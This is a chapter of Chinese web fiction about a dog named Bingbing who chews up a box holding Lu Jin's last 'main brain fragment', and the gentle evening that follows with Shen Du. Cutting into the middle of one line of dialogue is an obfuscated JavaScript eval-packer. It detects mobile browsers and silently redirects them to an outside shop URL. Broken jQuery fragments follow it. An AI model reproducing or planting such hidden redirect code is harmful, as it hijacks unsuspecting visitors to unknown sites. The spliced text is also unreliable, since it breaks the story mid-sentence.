饼饼第一次闯祸是在一个周二的下午。
沈渡正在书房开视频会议。他戴着耳机，面前的笔记本屏幕上显示着工作室项目的进度表，对面的人在讲下一阶段的数值调整方向。沈渡一边听一边在笔记本上做记录，偶尔开口简短回应两句。他听到客厅方向传来一些细微的动静——像是纸张被拨弄的声音，以及某种细小的咀嚼声——但没有太在意。饼饼这两天对茶几下层那个抽屉产生了兴趣，总会用爪子扒拉它，扒开一条缝然后往里张望，沈渡之前看过，里面没放什么重要东西，也就由着它去了。
会议又持续了大概十五分钟。沈渡摘下耳机合上笔记本的时候，客厅里安静得有点异常。他站起来推开书房门往外走，饼饼不在沙发上，不在窗台上，也不在它常趴的那片地板阳光下。他往客厅走了几步，然后停了下来。
茶几下层那个抽屉被打开了。抽屉边缘留着一排整齐的小牙印。抽屉里面原本放着几样杂物——旧遥控器、两本不再翻阅的杂志、几根不常用的充电线，以及陆烬从以前那个住处带回来的一个硬质小盒子。盒子不大，黑色塑料材质，表面有一道细长的裂纹。沈渡之前见过这个盒子，陆烬从旧公寓搬过来的时候把它放在行李箱夹层里，到了新住处之后搁进了茶几抽屉，没再动过。
此刻那个黑色小盒子被叼了出来，搁在地板中央。盒盖被咬开了，边缘有一圈湿漉漉的齿痕。盒子里面空掉了——原本装在里面的一块东西不见了，只剩一小片碎裂的黑色残渣散落在盒底。沈渡弯腰捡起盒子，翻过来看了一眼底部。盒底贴着一张小标签，上面写着一串数字，是陆烬的字迹。
沈渡直起身，环顾客厅。饼饼不在视线范围内。他往阳台方向走了几步，拉开推拉门。午后的阳光从外面涌进来，在地面上铺开一整片暖洋洋的光域。饼饼蹲在阳台角落里，背对着沈渡，圆脑袋低垂着，两只前爪之间夹着一样东西。
沈渡走近了两步，蹲下来。饼饼听到他的动静，耳朵贴平了，但没有回头。它的两只前爪之间夹着的是一块不规则的碎片——深灰色，边缘有两道细长的金色纹路，像被什么东西从中间劈开过。其中一角有明显的咬痕，边缘的缺口参差不齐，像被反复啃过几轮。
沈渡在它旁边蹲下来，没有立刻伸手去拿那块碎片。他先看了一眼饼饼的嘴——它的嘴角粘着一小片深灰色的碎屑，像不小心蹭上去的。饼饼的耳朵又往下压了压，尾巴夹在两腿之间，整个身体缩成一小团。
"饼饼。"沈渡叫了一声。
饼饼没有抬头。它的前爪微微收紧了一点，把那块碎片往自己怀里拢了拢，像在藏一件已经犯了错的证据。
沈渡伸出手，轻轻碰了一下它的耳背。饼饼的耳朵抖了抖，但没有躲开。他又碰了一下，力道很轻，顺着毛发生长的方向慢慢捋了一遍。饼饼的身体在他掌心底下微微松动了一点，尾巴从夹着的状态松开来，尾尖在地面上极轻地扫了一下。
"给我看看。"沈渡说。
饼饼犹豫了一下，然后慢慢松开前爪。沈渡把那块碎片拿起来，翻看了一下。碎片上的金色纹路在光照下微微反光，触感比塑料凉一些，边缘被他咬出的缺口参差不齐，但不像是脆性断裂，更像某种有韧性的材质被反复磨咬之后留下的痕迹。
沈渡拿着那块碎片走回客厅。饼饼跟在他脚边，耳朵还贴平着，尾巴垂着，走得比平时慢。沈渡把碎片放在茶几上，在沙发边缘坐下来。饼饼在他脚边蹲下来，把下巴搁在他的拖鞋上，抬眼看他。
陆烬回来的时候，沈渡正坐在沙发上翻一本旧杂志。饼饼蹲在他脚边，两只前爪并拢，姿态端正得不像一只狗——像一个小学生被叫到办公室门口站着等老师。陆烬换鞋的时候看了一眼蹲得异常整齐的饼饼，又看了一眼坐在沙发上的沈渡，然后视线落在茶几上那块被摆正了的深灰色碎片上。
他走过去，拿起那块碎片看了看。他的表情没什么变化，看了大概两秒，把它放回茶几上，然后去厨房洗手。水声持续了一小会儿，他关了水龙头，擦干手走出来，在沈渡旁边的沙发上坐下。饼饼从沈渡脚边挪到两个人中间的地板上，蹲坐下来，仰头看着陆烬，耳朵贴得比之前更平。
"它咬的？"陆烬问。
"嗯。"沈渡合上杂志，"它把抽屉翻开了，把盒子叼出来了，啃了一下午。"
陆烬低头看那块碎片。他的手指伸过去，碰了一下边缘那道新的咬痕，然后收回手。他的声音很平，平到听不出任何情绪的起伏："那个不用了。"
饼饼的耳朵动了一下。
"里面是什么？"沈渡问。
"主脑碎片的最后一点残片。"陆烬说，语气和说"今天天气还行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909747|213090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"差不多，"我搬过来的时候把它留着了，但没想过处理它。它留在抽屉里，我一直没动。"
沈渡看着他。"那现在呢？"
陆烬低头看了一眼饼饼。饼饼仰着头看他，耳朵比刚才稍稍抬起了一些，尾巴在地板上轻轻动了一下。陆烬伸出手——动作很慢——掌心朝上，摊开在饼饼面前。饼饼凑过去闻了闻他的掌心，然后把自己的下巴搁了上去。
陆烬的拇指在它的下巴上轻轻蹭了一下。"现在就不用处理了。"
沈渡靠在沙发靠背上，偏头看着旁边这一幕。客厅的光线从窗户斜着落进来，在两人一狗之间铺成一层均匀的暖色。他收回目光，低头翻了一页膝上的杂志，翻了两秒又合上了。
"那你以后没有碎片了。"
"没有了。"
"那你还记得吗？"
陆烬偏过头来看着他。沈渡的手搭在杂志封面上，目光落在前方墙壁的某一点上，没有看他。陆烬看了他几秒，然后转回头，低头看着掌心里那只金色的下巴。"记得。"
"记得什么？"
"记得第一次读到你的数据。"陆烬的声音不高不低，尾音没提也没落，"从七秒开始，一直到昨天下午。每一秒都记得。"
饼饼在他掌心里打了个哈欠，尾巴开始在木地板上慢慢摇动起来。沈渡的手指在杂志封面上停了一会儿，然后他把杂志放在沙发扶手上，站起来，往厨房走去。经过茶几的时候他停了一步，低头看了一眼那块碎片。他没有碰它，但他停了一瞬，然后继续走向厨房。
"晚上煮面吧。"他背对着客厅说。
陆烬坐在沙发上，低头看着掌心里的饼饼。饼饼已经把自己整个下巴交给了他的手心，尾巴在地上摇得像一把缓和的扇子。他抬起头，看向厨房方向。沈渡正站在灶台前，拧开水龙头，往烧水壶里接水。动作自然、熟练。
"行。"陆烬说。
窗外的光线正在一点点变软，从午后的通透过渡到傍晚的温醇。客厅的茶几上，那块深灰色的碎片被搁在边缘，边缘的咬痕在光线里显出一层浅淡的金色。但它的颜色比之前淡了一些——像那些细碎的金色纹路正在慢慢地、不可察觉地变浅，一点一点溶进它所处的这片午后阳光里。
饼饼在陆烬掌心里翻了个身，四脚朝天，露出浅金色的肚皮。